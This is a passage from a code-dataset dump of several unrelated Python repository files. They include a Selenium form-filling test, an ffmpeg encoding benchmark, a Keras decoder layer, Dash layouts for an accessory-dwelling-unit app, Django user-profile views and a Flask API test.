words_to_tfidf (directory_list, x)\n\n\n\ndef main():\n \n sutta_tfidf ()\n\n # file_of_words_to_idf ()\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"gboenn/suttas_text_and_audio","sub_path":"tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":8118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20594098143","text":"# rembg 패키지에서 remove 클래스 불러오기\nfrom rembg import remove\n# PIL 패키지에서 Image 클래스 불러오기\nfrom PIL import Image\nimport os\nimport glob\nfiles = glob.glob('./avante n/*.png') # 경로/*.jpg\ncount = 0\nfor f in files:\n img = Image.open(f).convert('RGB')\n title, ext = os.path.splitext(f)\n index = title.find('\\\\')\n title = title[:index]\n out = remove(img)\n new_name = title+'_remove'+str(count)+ext\n if not os.path.exists(title+'_remove'):\n os.mkdir(title+'_remove')\n out.save(title+'_remove/'+new_name)\n count+=1","repo_name":"JunHeeMerong/MLDLProject","sub_path":"누끼.py","file_name":"누끼.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34801903488","text":"import tensorflow as tf\n\nfrom .multi_head_attention import MultiHeadAttention\n\nclass DecoderLayer(tf.keras.layers.Layer):\n def __init__(self, embedding_size, dense_layer_size, nb_head, **kwargs):\n super().__init__(**kwargs)\n\n self.embedding_size = embedding_size\n self.dense_layer_size = dense_layer_size\n self.nb_head = nb_head\n\n def get_config(self):\n config = super().get_config().copy()\n\n config.update({\n 'embedding_size': self.embedding_size,\n 'dense_layer_size': self.dense_layer_size,\n 'nb_head': self.nb_head\n })\n\n return config\n\n def build(self, input_shape):\n super().build(input_shape)\n\n self.attention_1 = MultiHeadAttention(self.embedding_size, self.nb_head)\n self.attention_2 = MultiHeadAttention(self.embedding_size, self.nb_head)\n self.norm_1 = tf.keras.layers.LayerNormalization()\n self.norm_2 = tf.keras.layers.LayerNormalization()\n self.norm_3 = tf.keras.layers.LayerNormalization()\n self.dense_1 = tf.keras.layers.Dense(self.dense_layer_size)\n self.dense_2 = tf.keras.layers.Dense(self.embedding_size)\n\n def call(self, x):\n output_embedding, encoder_output = x\n\n self_attention = self.attention_1((output_embedding, output_embedding, output_embedding), mask = True)\n post_self_attention = self.norm_1(self_attention + output_embedding)\n\n decoder_attention = self.attention_2((post_self_attention, encoder_output, encoder_output))\n post_decoder_attention = self.norm_2(decoder_attention + post_self_attention)\n\n dense_out = self.dense_1(post_decoder_attention)\n dense_out = self.dense_2(dense_out)\n\n decoder_output = self.norm_3(dense_out + post_decoder_attention)\n\n return decoder_output\n","repo_name":"ays-dev/keras-transformer","sub_path":"models/decoder_layer.py","file_name":"decoder_layer.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"7814416561","text":"import time\n\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\nclass TestCreateNewFacility:\n # This method is used to create a new facility\n @pytest.mark.createnewfacility #Pytest name and class name can't be same\n def test_Create_Facility(self):\n driver = webdriver.Chrome(service=ChromeService(ChromeDriverManager().install())) # This line initializes the driver\n time.sleep(3) # This line adds a delay of 3 seconds to the script execution\n\n # Go to the webpage\n driver.get(\"https://care.coronasafe.in/\")\n time.sleep(5)\n\n # Enter username \"Nihal\" in the username field\n username_locator = driver.find_element(By.ID, \"username\")\n username_locator.send_keys(\"Nihal\")\n\n # Enter password \"Test@123\" in the password field\n password_locator = driver.find_element(By.NAME, \"password\")\n password_locator.send_keys(\"Test@123\")\n\n # Click the login button\n submit_button = driver.find_element(By.XPATH, \"//button[@type='submit']\")\n submit_button.click()\n time.sleep(5)\n\n # Verify that the URL of the new page contains \"https://care.coronasafe.in/facility\"\n actual_url = driver.current_url\n assert actual_url == \"https://care.coronasafe.in/facility\"\n time.sleep(5)\n\n # Navigate to the Facility Page\n driver.get(\"https://care.coronasafe.in/facility/create\")\n time.sleep(5)\n\n # Wait for the dropdown - Facility Type\n facility_dropdown_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID, \"headlessui-listbox-button-:r1:\"))\n )\n facility_dropdown_menu.click()\n\n # Wait for the options to appear - Facility Type\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n\n # Click the fourth option - Facility Type\n option_four = options[3]\n option_four.click()\n time.sleep(4)\n\n # Fill in the Facility Name\n Facility_Name = driver.find_element(By.NAME, \"name\")\n Facility_Name.send_keys(\"Selenium\")\n time.sleep(4)\n\n # Select Features\n\n # Wait for the dropdown - Feature Type\n # feature_dropdown_menu = WebDriverWait(driver, 20).until(\n # EC.element_to_be_clickable((By.ID, \"headlessui-listbox-button-:r3:\"))\n # )\n # feature_dropdown_menu.click()\n #\n # # Wait for the options to appear - Feature Type\n # options = WebDriverWait(driver, 20).until(\n # EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n # )\n #\n # # Click the third and fourth options - Feature Type\n # option_three = options[2]\n # option_three.click()\n # option_four = options[3]\n # option_four.click()\n # time.sleep(4)\n\n # Fill in the Pincode\n Facility_pincode = driver.find_element(By.NAME, \"pincode\")\n Facility_pincode.send_keys(\"682011\")\n time.sleep(4)\n\n # State\n state_dropdown_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID, \"headlessui-listbox-button-:r5:\"))\n )\n state_dropdown_menu.click()\n # Wait for the options to appear - State type\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n # Click the first option - State type\n option_one = options[0]\n option_one.click()\n time.sleep(4)\n\n # District\n district_dropdown_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID, \"headlessui-listbox-button-:r7:\"))\n )\n district_dropdown_menu.click()\n # Wait for the options to appear - District type\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n # Click the second option - District type\n option_two = options[1]\n option_two.click()\n time.sleep(4)\n\n # Local Body\n localbody_dropdown_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID, \"headlessui-listbox-button-:r9:\"))\n )\n localbody_dropdown_menu.click()\n # Wait for the options to appear - localbody type\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n # Click the second option - localbody type\n option_two = options[1]\n option_two.click()\n time.sleep(4)\n\n # Ward\n ward_dropdown_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID, \"headlessui-listbox-button-:rb:\"))\n )\n ward_dropdown_menu.click()\n # Wait for the options to appear - ward type\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n # Click the second option - localbody type\n option_two = options[1]\n option_two.click()\n time.sleep(4)\n\n # Address\n facility_address = driver.find_element(By.NAME, \"address\")\n facility_address.send_keys(\"Kasaragod, Kerala, India\")\n time.sleep(4)\n\n # Emergency\n facility_emergency_number = driver.find_element(By.NAME, \"phone_number\")\n facility_emergency_number.send_keys(\"9999999999\")\n time.sleep(4)\n\n # Cylinder\n\n # Location\n\n #enter submit button\n facility_submit_button = driver.find_element(By.ID, \"submit\")\n facility_submit_button.click()\n time.sleep(5)\n\n #-----------------------------------------Section 2 ---------------------------------------------------\n\n # Bed Type\n bedtype_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID,\"bed-type\"))\n )\n bedtype_menu.click()\n # Wait for the options to appear - bedtype\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n # Click the second option - bedtype type\n option_two = options[3]\n option_two.click()\n time.sleep(4)\n\n # Total Capacity\n bed_total_capacity = driver.find_element(By.NAME, \"totalCapacity\")\n bed_total_capacity.send_keys(\"121\")\n time.sleep(4)\n\n # Currently Occupied\n\n bed_currently_occupied = driver.find_element(By.NAME, \"currentOccupancy\")\n bed_currently_occupied.send_keys(\"100\")\n time.sleep(4)\n\n # Submit Save Bed Capacity\n\n save_bed_capacity = driver.find_element(By.ID, \"bed-capacity-save-and-exit\")\n save_bed_capacity.click()\n time.sleep(5)\n\n #-----------------------------------------Section 3 ---------------------------------------------------\n\n #Area Of Specialisation\n area_menu = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.ID, \"area-of-specialization\"))\n )\n area_menu.click()\n # Wait for the options to appear - bedtype\n options = WebDriverWait(driver, 20).until(\n EC.visibility_of_all_elements_located((By.XPATH, \"//ul[@role='listbox']/li[@role='option']\"))\n )\n\n # Click the second option - bedtype type\n option_two = options[3]\n option_two.click()\n time.sleep(4)\n\n #Count\n\n area_count = driver.find_element(By.NAME, \"count\")\n area_count.send_keys(\"100\")\n time.sleep(4)\n\n # Submit Specialisation Count\n\n save_area = driver.find_element(By.ID, \"save-and-exit\")\n save_area.click()\n time.sleep(5)\n\n driver.quit() #Always this in the end for the driver to work properly\n","repo_name":"nihal467/Selenium-care","sub_path":"Tests/Create_New_Facility.py","file_name":"Create_New_Facility.py","file_ext":"py","file_size_in_byte":8398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39499775921","text":"# https://leetcode.com/problems/sort-array-by-parity-ii/\n\nclass Solution(object):\n def sortArrayByParityII(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: List[int]\n \"\"\"\n if not A or len(A) < 1:\n return A\n N = len(A)\n i, j = 0, 1\n while i < N and j < N:\n while i < N and A[i] & 1 == 0:\n i += 2\n while j < N and A[j] & 1 == 1:\n j += 2\n if i < N and j < N:\n A[i], A[j] = A[j], A[i]\n i += 2\n j += 2\n return A\n","repo_name":"jwyx3/practices","sub_path":"leetcode/array/sort-array-by-parity-ii.py","file_name":"sort-array-by-parity-ii.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27899051516","text":"import os\nimport argparse\nimport glob\nimport json\n\ndef parse(log_path):\n with open(log_path, 'r') as f:\n lines = f.readlines()\n for line in lines[-15:]:\n words = line.split('\\t')\n for word in words:\n word = word.strip()\n if 'frame=' in word:\n frames = int(word.split('=')[1].split('fps')[0])\n if 'fps=' in word:\n fps = float(word.split('=')[2].split('q')[0])\n if 'rtime=' in word:\n latency = float(word.split('=')[-1][:-2])\n \n return frames, fps, latency\n\ndef encode_gpu(video_dir, video_name, log_path):\n video_dir = os.path.abspath(video_dir)\n cmd = \"docker run -v {}:{} -w {} --runtime=nvidia jrottenberg/ffmpeg:4.4-nvidia \\\n -hwaccel cuda -hwaccel_output_format cuda -i {} -c:a copy -c:v hevc_nvenc \\\n -ss 00:00:00 -to 00:01:00 \\\n -preset p2 -tune ll -b:v 35M -bufsize 35M -maxrate 35M -bf 0 -g 999999 -vsync 0 -benchmark \\\n -report -f null -\".format(video_dir, video_dir, video_dir, video_name)\n os.system(cmd)\n\n ffmpeg_logs = glob.glob(os.path.join(video_dir, \"*.log\"))\n ffmpeg_log_path = ffmpeg_logs[0]\n frames, fps, latency = parse(ffmpeg_log_path)\n\n json_object = {\n \"num_frames\": frames,\n \"throughput\": fps,\n \"latency\": latency\n }\n\n print(log_path)\n with open(log_path, 'w') as f:\n json.dump(json_object, f, indent=4)\n\n os.remove(ffmpeg_log_path)\n\ndef encode_cpu(video_dir, video_name, log_path):\n #cmd = \"docker run -v {}:{} -w {} --runtime=nvidia jrottenberg/ffmpeg:4.4-nvidia \\\n # -i {} -c:a copy -c:v libx265 -preset ultrafast -tune zerolatency -b:v 35M -bufsize 35M -maxrate 35M \\\n # -bf 0 -g 999999 -vsync 0 -benchmark -report -f null -\".format(video_dir, video_dir, video_dir, video_name)\n # cmd = \"docker run -v {}:{} -w {} jrottenberg/ffmpeg:4.4.1-ubuntu2004 \\\n # -i {} -c:a copy -c:v libx265 -preset superfast -tune zerolatency -b:v 35M -bufsize 35M -maxrate 35M \\\n # -bf 0 -g 999999 -vsync 0 -benchmark -report -f null -\".format(video_dir, video_dir, video_dir, video_name)\n \n num_threads_all, num_tiles_all = [4, 8, 16], [1, 2, 3]\n \n json_object = {}\n \n video_dir = os.path.abspath(video_dir)\n for num_threads, num_tiles in zip(num_threads_all, num_tiles_all):\n cmd = \"docker run -v {}:{} -w {} jrottenberg/ffmpeg:4.4.1-ubuntu2004 \\\n -i {} -c:a copy -c:v libvpx-vp9 -quality realtime -speed 8 -threads {} -row-mt 1 -tile-columns {} -frame-parallel 1 -static-thresh 0 \\\n -ss 00:00:00 -to 00:01:00 \\\n -max-intra-rate 300 -qmin 4 -qmax 48 -b:v 35M -bufsize 35M -maxrate 35M -error-resilient 1 \\\n -g 999999 -vsync 0 -benchmark -report -f null -\".format(video_dir, video_dir, video_dir, video_name, num_threads, num_tiles)\n print(cmd)\n os.system(cmd)\n ffmpeg_logs = glob.glob(os.path.join(video_dir, \"*.log\"))\n ffmpeg_log_path = ffmpeg_logs[0]\n frames, fps, latency = parse(ffmpeg_log_path)\n\n json_object[num_threads] = {\n \"num_frames\": frames,\n \"throughput\": fps,\n \"latency\": latency\n }\n os.remove(ffmpeg_log_path)\n\n print(log_path)\n with open(log_path, 'w') as f:\n json.dump(json_object, f, indent=4)\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', type=str, required=True)\n parser.add_argument('--result_dir', type=str, required=True)\n parser.add_argument('--content', type=str, default='lol0')\n parser.add_argument('--duration', type=str, default='600')\n parser.add_argument('--instance', type=str, required=True)\n args = parser.parse_args()\n\n video_dir = os.path.join(args.data_dir, args.content, 'video')\n #logs = glob.glob(os.path.join(video_dir, '*.log'))\n #for log in logs:\n # os.remove(log)\n video_name = '2160p_d{}_test.webm'.format(args.duration)\n print(video_dir, video_name)\n log_dir = os.path.join(args.result_dir, 'evaluation', args.instance, '2160p')\n os.makedirs(log_dir, exist_ok=True)\n\n log_path = os.path.join(log_dir, 'hardware_encode_result.json')\n encode_gpu(video_dir, video_name, log_path)\n \n log_path = os.path.join(log_dir, 'software_encode_result.json')\n encode_cpu(video_dir, video_name, log_path)\n","repo_name":"kaist-ina/neuroscaler-public","sub_path":"eval/artifact/benchmark_encoder.py","file_name":"benchmark_encoder.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"16923891735","text":"from DyCommon.DyCommon import *\nfrom ....Common.DyStockCommon import *\n\n\nclass DyStockDataSectorCodeTable(object):\n \"\"\"\n 按日期的板块成份股票代码表\n 除了数据更新到数据库外,板块的成份股代码表最终还是要通过DyStockDataCodeTable载入\n \"\"\"\n\n\n def __init__(self, mongoDbEngine, gateway, info):\n self._mongoDbEngine = mongoDbEngine\n self._gateway = gateway\n self._info = info\n\n self._sectorStockCodeTable = {} # {sector index: {code: name}}\n\n def _init(self, sectorCode):\n self._sectorStockCodeTable[sectorCode] = {}\n\n def getSectorStockCodes(self, sectorCode):\n return self._sectorStockCodeTable[sectorCode]\n\n def load(self, sectorCode, date, codes=None):\n \"\"\"\n @codes: None, load all stock codes of sector\n [], not load any code\n [code], load specified [code] in sector\n \"\"\"\n self._info.print('开始载入[{0}]股票代码表[{1}]...'.format(DyStockCommon.sectors[sectorCode], date))\n\n # 初始化板块相关的数据\n self._init(sectorCode)\n\n data = self._mongoDbEngine.getSectorStockCodes(date, sectorCode, codes)\n if data is None:\n return False\n\n codeTable = self._sectorStockCodeTable[sectorCode]\n for doc in data:\n codeTable[doc['code']] = doc['name']\n\n self._info.print('[{0}]股票代码表载入完成'.format(DyStockCommon.sectors[sectorCode]))\n return True\n\n def _update2Db(self, sectorCode, date, codes):\n\n # convert to MongoDB format\n codesForDb = [{'code': code, 'name': name} for code, name in codes.items()]\n\n # update into DB\n return self._mongoDbEngine.updateSectorStockCodes(sectorCode, date, codesForDb)\n\n def _set(self, sectorCode, codesDict):\n \"\"\"\n set codes gotten from Gateway to DB\n @codesDict: {date: {code: name}}\n \"\"\"\n codesInDb = self._sectorStockCodeTable[sectorCode]\n for date, codes in codesDict.items():\n for code in codes:\n if code not in codesInDb:\n self._info.print('[{0}]股票代码表[{1}]变化'.format(DyStockCommon.sectors[sectorCode], date), DyLogData.ind1)\n\n # update to DB\n if not self._update2Db(sectorCode, date, codes):\n return False\n\n # new codes in DB\n codesInDb = codes\n\n break\n\n return True\n\n def update(self, sectorCode, startDate, endDate):\n self._info.print('开始更新[{0}]股票代码表[{1}, {2}]...'.format(DyStockCommon.sectors[sectorCode], startDate, endDate))\n\n # first, load from DB without caring about return value.\n self.load(sectorCode, startDate)\n\n # always getting from Gateway\n codesDict = self._gateway.getSectorStockCodes(sectorCode, startDate, endDate)\n if codesDict is None:\n return False\n\n # set codes gotten from Gateway to DB\n return self._set(sectorCode, codesDict)\n\n def updateAll(self, startDate, endDate):\n \"\"\"\n update code table of all sectors\n \"\"\"\n for sectorCode in DyStockCommon.sectors:\n self.update(sectorCode, startDate, endDate)\n ","repo_name":"MicroEngine/DevilYuan","sub_path":"Stock/Data/Engine/Common/DyStockDataSectorCodeTable.py","file_name":"DyStockDataSectorCodeTable.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"61"} +{"seq_id":"5336593001","text":"import pathlib\nfrom IncrementalTorch.datasets import Covertype, Shuttle\nimport numpy as np\nimport pandas as pd\nfrom river.datasets import CreditCard\n\nfrom evaluate import aggregate_dataframe, test_then_train\nfrom tools.benchmark_exp import SAVE_STR\n\nDATASETS = {\n \"covertype\": Covertype,\n \"creditcard\": CreditCard,\n \"shuttle\": Shuttle,\n}\nSUBSAMPLE = 50_000\nANOM_FRACTIONS = np.arange(0.005, 0.1005, 0.005)\nN_TRIALS = 5\nCONFIGS = {\"HST\": {}, \"DAE\": {\"lr\": 0.02}, \"PW-AE\": {\"lr\": 0.1}}\nSAVE_STR = \"Contamination\"\n\nmodels = [\"PW-AE\", \"DAE\", \"HST\"]\n\nmetrics = []\nfor dataset_name, dataset in DATASETS.items():\n data = list(dataset().take(SUBSAMPLE))\n x, y = list(zip(*data))\n x, y = np.array(x), np.array(y)\n x_normal, x_anom = x[y == 0], x[y == 1]\n\n def set_anom_fraction(frac=0.01):\n n_anom = round(SUBSAMPLE * frac)\n x_anom_samples = x_anom[np.random.randint(len(x_anom), size=n_anom)]\n idcs = np.random.randint(0, len(x_normal), n_anom)\n idcs.sort()\n idcs = idcs[::-1]\n x_new = list(x_normal[: SUBSAMPLE - n_anom])\n y_new = list(np.zeros(len(x_new)))\n for idx, x_anom_sample in zip(idcs, x_anom_samples):\n x_new.insert(idx, x_anom_sample)\n y_new.insert(idx, 1)\n\n return list(zip(x_new, y_new))\n\n for anom_fraction in ANOM_FRACTIONS:\n for trial in range(N_TRIALS):\n data_i = set_anom_fraction(anom_fraction)\n for model in models:\n metrics_i, _ = test_then_train(\n dataset=data_i,\n model=model,\n **CONFIGS[model],\n )\n metrics_i.update(\n {\"anom_fraction\": anom_fraction, \"dataset\": dataset_name}\n )\n metrics.append(metrics_i)\n\n\nmetrics_raw = pd.DataFrame(metrics)\nmetrics_agg = aggregate_dataframe(metrics_raw, [\"dataset\", \"model\", \"anom_fraction\"])\n\npath = pathlib.Path(__file__).parent.parent.resolve()\nmetrics_raw.to_csv(f\"{path}/results/{SAVE_STR}_raw.csv\")\nmetrics_agg.to_csv(f\"{path}/results/{SAVE_STR}.csv\")\n","repo_name":"lucasczz/DAADS","sub_path":"tools/contam_exp.py","file_name":"contam_exp.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"31508089889","text":"import app_modules as mdl\r\nimport dash_html_components as html\r\nfrom dash_daq import ToggleSwitch\r\nimport dash_core_components as dcc\r\nimport dash_dangerously_set_inner_html as dish\r\nimport dash_bootstrap_components as dbc\r\n\r\n\r\nMap_layout = html.Div([\r\n html.Div([\r\n html.H3(\"Help us find your home:\", style={'textAlign': 'center'}),\r\n html.Div([\"This address bar only contains single family and multi-family residential parcels.\"],\r\n style={'fontSize': '11px'}),\r\n html.Div(id='addressDropdown'),\r\n mdl.AddressDropdown,\r\n html.H3(\"\"),\r\n html.H3(\"\"),\r\n mdl.NeighborInfo,\r\n mdl.OutputDetails,\r\n html.Div(id='next_page'),\r\n\r\n ], className=\"five columns\"),\r\n html.Div([\r\n mdl.MapBlock,\r\n mdl.AdditionalDetails,\r\n\r\n ], className=\"seven columns\"),\r\n\r\n\r\n], className=\"row\", style={'margin-left': '25px', 'margin-right': '25px', })\r\n\r\n\r\nFinance_layout = html.Div([\r\n html.H2(\"Let's do the numbers!\",\r\n style={'textAlign': 'center', 'color': '#7FDBFF'},),\r\n\r\n mdl.FinFeasibility,\r\n],\r\n)\r\n\r\nFAQ_layout = html.Div([\r\n html.H2(\"Frequently Asked Questions\",\r\n style={'textAlign': 'center', 'color': '#7FDBFF'}),\r\n\r\n mdl.FAQ,\r\n],style={'marginLeft': 15, 'marginRight': 15}\r\n)\r\n\r\nTransparency_layout = html.Div([\r\n html.H2(\"Transparency\",\r\n style={'textAlign': 'center', 'color': '#7FDBFF'}),\r\n\r\n mdl.Transparency,\r\n],\r\n)\r\n\r\nHome_layout = html.Div([\r\n\r\n mdl.Home,\r\n],\r\n)\r\n\r\nTestimonials_layout = html.Div([\r\n html.H2(\"Stories and Testimonials\",\r\n style={'textAlign': 'center', 'color': '#7FDBFF'}),\r\n html.Img(src=\"assets/adu-1.png\", alt=\"Sample ADU from AARP Brochure\",),\r\n html.Img(src=\"assets/adu-2.png\", alt=\"Sample ADU from AARP Brochure\",),\r\n html.Img(src=\"assets/adu-3.png\", alt=\"Sample ADU from AARP Brochure\",),\r\n dbc.Row([\r\n dbc.Col(dcc.Markdown('''\r\n \"What we were looking for in terms of a community and aging in place was \\\r\n right under our noses. Remove a fence and create a shared open space. Build \\\r\n a wall and create a second dwelling unit. It doesn’t have to be complicated.\"\r\n ''') ),\r\n dbc.Col(dcc.Markdown('''\r\n “We were looking for a way to live in our house for the rest of our lives and to \\\r\n generate at least some income in the process,” Robert Mercer and Jim Heuer wrote for the \\\r\n program guide of the annual Portland ADU Tour when their home was part of the lineup. “An ADU \\\r\n offers the possibility of caregiver lodging in the future or even a place for us to live \\\r\n while we rent out the main house if we get to the point where we can’t handle the stairs any longer.”\r\n ''') ),\r\n dbc.Col(dcc.Markdown('''\r\n Bertha and her son John talked about someday buying a house with a mother-in-law suite. \\\r\n “Then one day someone came along and wanted my house, so I up and sold it,” she explains. “But \\\r\n that left me homeless. I asked John if I could build a small house in his backyard and he agreed.\r\n ''') ),\r\n ],\r\n ),\r\n\r\n],\r\n)\r\n\r\nAnalysis_layout = html.Div([\r\n html.H2(\"Citywide Analysis\",\r\n style={'textAlign': 'center', 'color': '#7FDBFF'}),\r\n\r\n mdl.Analysis,\r\n],\r\n)\r\n\r\nNeighborhood_layout = html.Div([\r\n html.H2(\"Neighborhood Analysis\",\r\n style={'textAlign': 'center', 'color': '#7FDBFF'}),\r\n\r\n mdl.ADU_Counts,\r\n],\r\n)\r\n","repo_name":"uwescience/ADUniverse","sub_path":"ADUniverse/app_pages.py","file_name":"app_pages.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"40486782713","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth import login, logout, authenticate\nfrom django.contrib.auth.decorators import login_required\n\nfrom .utils import search_profiles, paginate_profiles\nfrom .models import Profile, Message\nfrom .forms import CustomUserCreationForm, MessageForm, ProfileForm, SkillForm, MessageForm\nfrom django.contrib.auth.models import User\n\n\n# Create your views here.\n\ndef login_user(request):\n\n page = 'login'\n\n if request.method == \"POST\":\n username = request.POST[\"username\"].lower()\n password = request.POST[\"password\"]\n\n try:\n user = User.objects.get(username=username)\n except:\n messages.error(request, 'User does not exist')\n return redirect('login')\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n messages.info(request, 'User successfully logged')\n return redirect(request.GET['next'] if 'next' in request.GET else 'profiles')\n else:\n print('Username or password incorrect')\n\n context = { 'page': page }\n\n return render(request, 'users/login-page.html', context)\n \n\ndef register_user(request):\n\n page = 'register'\n\n if request.method == \"POST\":\n form = CustomUserCreationForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.username = user.username.lower()\n user.save()\n \n login(request, user)\n messages.success(request, 'User successfully registered')\n return redirect('profiles')\n else:\n messages.success(request, 'Bad registration')\n\n form = CustomUserCreationForm()\n context = { 'page': page, 'form': form }\n\n return render(request, 'users/login-page.html', context)\n\ndef logout_user(request):\n logout(request)\n messages.success(request,'User succesfully logged out')\n return redirect('login')\n \n\ndef profiles(request):\n profiles, search_query = search_profiles(request)\n custom_range, profiles = paginate_profiles(request, profiles, results=2)\n context = {'profiles': profiles, 'search_query': search_query, 'custom_range': custom_range }\n return render(request, 'users/profiles.html', context)\n\n\ndef user_profile(request, pk):\n profile = Profile.objects.get(id=pk)\n top_skills = profile.skill_set.exclude(description__exact='')\n other_skills = profile.skill_set.filter(description='')\n context = {'profile': profile, 'top_skills': top_skills, 'other_skills': other_skills }\n return render(request, 'users/user-profile.html', context)\n\n@login_required(login_url='login')\ndef user_account(request):\n profile = request.user.profile\n skills = profile.skill_set.all()\n context = {'profile': profile, 'skills': skills }\n return render(request, 'users/user-account.html', context)\n\n\n@login_required(login_url='login')\ndef edit_account(request):\n profile = request.user.profile\n form = ProfileForm(instance=profile)\n \n if request.method == \"POST\":\n form = ProfileForm(request.POST, request.FILES, instance=profile)\n if form.is_valid():\n profile = form.save(commit=False)\n profile.username = profile.username.lower()\n profile.save() \n messages.success(request, 'User successfully registered')\n return redirect('profiles')\n else:\n messages.success(request, 'Bad registration')\n\n context = { 'form': form }\n\n return render(request, 'users/profile-form.html', context)\n\n\n@login_required(login_url='login')\ndef add_skill(request):\n form = SkillForm()\n profile = request.user.profile\n \n if request.method == 'POST':\n form = SkillForm(request.POST)\n #print(request.POST) - logging request\n if form.is_valid():\n skill = form.save(commit=False)\n skill.owner = profile\n skill.save()\n return redirect('account')\n\n context = {'form': form}\n return render(request, 'users/skill-form.html', context)\n\n\n@login_required(login_url='login')\ndef update_skill(request, pk):\n profile = request.user.profile\n skill = profile.skill_set.get(id=pk)\n form = SkillForm(instance=skill)\n \n if request.method == 'POST':\n form = SkillForm(request.POST, instance=skill)\n #print(request.POST) - logging request\n if form.is_valid():\n skill = form.save(commit=False)\n skill.owner = profile\n skill.save()\n return redirect('account')\n\n context = {'form': form }\n return render(request, 'users/skill-form.html', context)\n\n@login_required(login_url='login')\ndef delete_skill(request, pk):\n profile = request.user.profile\n skill = profile.skill_set.get(id=pk)\n form = SkillForm(instance=skill)\n \n if request.method == 'POST':\n form = SkillForm(request.POST)\n #print(request.POST) - logging request\n if form.is_valid():\n skill.delete()\n return redirect('account')\n\n context = { 'object': skill }\n return render(request, 'projects/delete-form.html', context)\n\n\n@login_required(login_url='login')\ndef inbox(request):\n profile = request.user.profile\n message_requests = profile.messages.all()\n unread_messages = message_requests.filter(is_read=False).count()\n context = { 'message_requests': message_requests, 'unread_messages':unread_messages }\n return render(request, 'users/inbox.html', context)\n\n@login_required(login_url='login')\ndef read_message(request, pk):\n profile = request.user.profile\n message = profile.messages.get(id=pk)\n if message.is_read == False:\n message.is_read = True\n message.save()\n context = { 'message': message }\n return render(request, 'users/message.html', context )\n \n\ndef send_message(request, pk):\n recipient = Profile.objects.get(id=pk)\n form = MessageForm()\n try:\n sender = request.user.profile\n except:\n sender = None\n \n if request.method == 'POST':\n form = MessageForm(request.POST)\n #print(request.POST) - logging request\n if form.is_valid():\n message = form.save(commit=False)\n message.recipient = recipient\n if sender:\n message.email = sender.email\n message.sender = sender\n message.name = sender.name\n message.save()\n messages.success(request, 'Message successfully sent')\n return redirect('user-profile', recipient.id)\n\n context = {'form': form}\n return render(request, 'users/message-form.html', context)\n\n","repo_name":"fillipesouza/devsearch","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20954063255","text":"import unittest\nimport json\nfrom app import create_app\n\nclass TestIntegration(unittest.TestCase):\n def setUp(self):\n app = create_app()\n app.config['TESTING'] = True\n self.client = app.test_client()\n\n def test_api(self):\n # Test GET request to /api/levels\n response = self.client.get('/api/levels')\n self.assertEqual(response.status_code, 200)\n data = json.loads(response.data.decode())\n self.assertIn('levels', data)\n\n # Test POST request to /api/levels with valid data\n data = {'age': 10, 'completed_projects': 0, 'completed_courses': 0, 'languages': ['Scratch'], 'tools': [], 'complexity': 1}\n headers = {'Content-Type': 'application/json'}\n response = self.client.post('/api/levels', data=json.dumps(data), headers=headers)\n self.assertEqual(response.status_code, 200)\n data = json.loads(response.data.decode())\n self.assertIn('level', data)\n 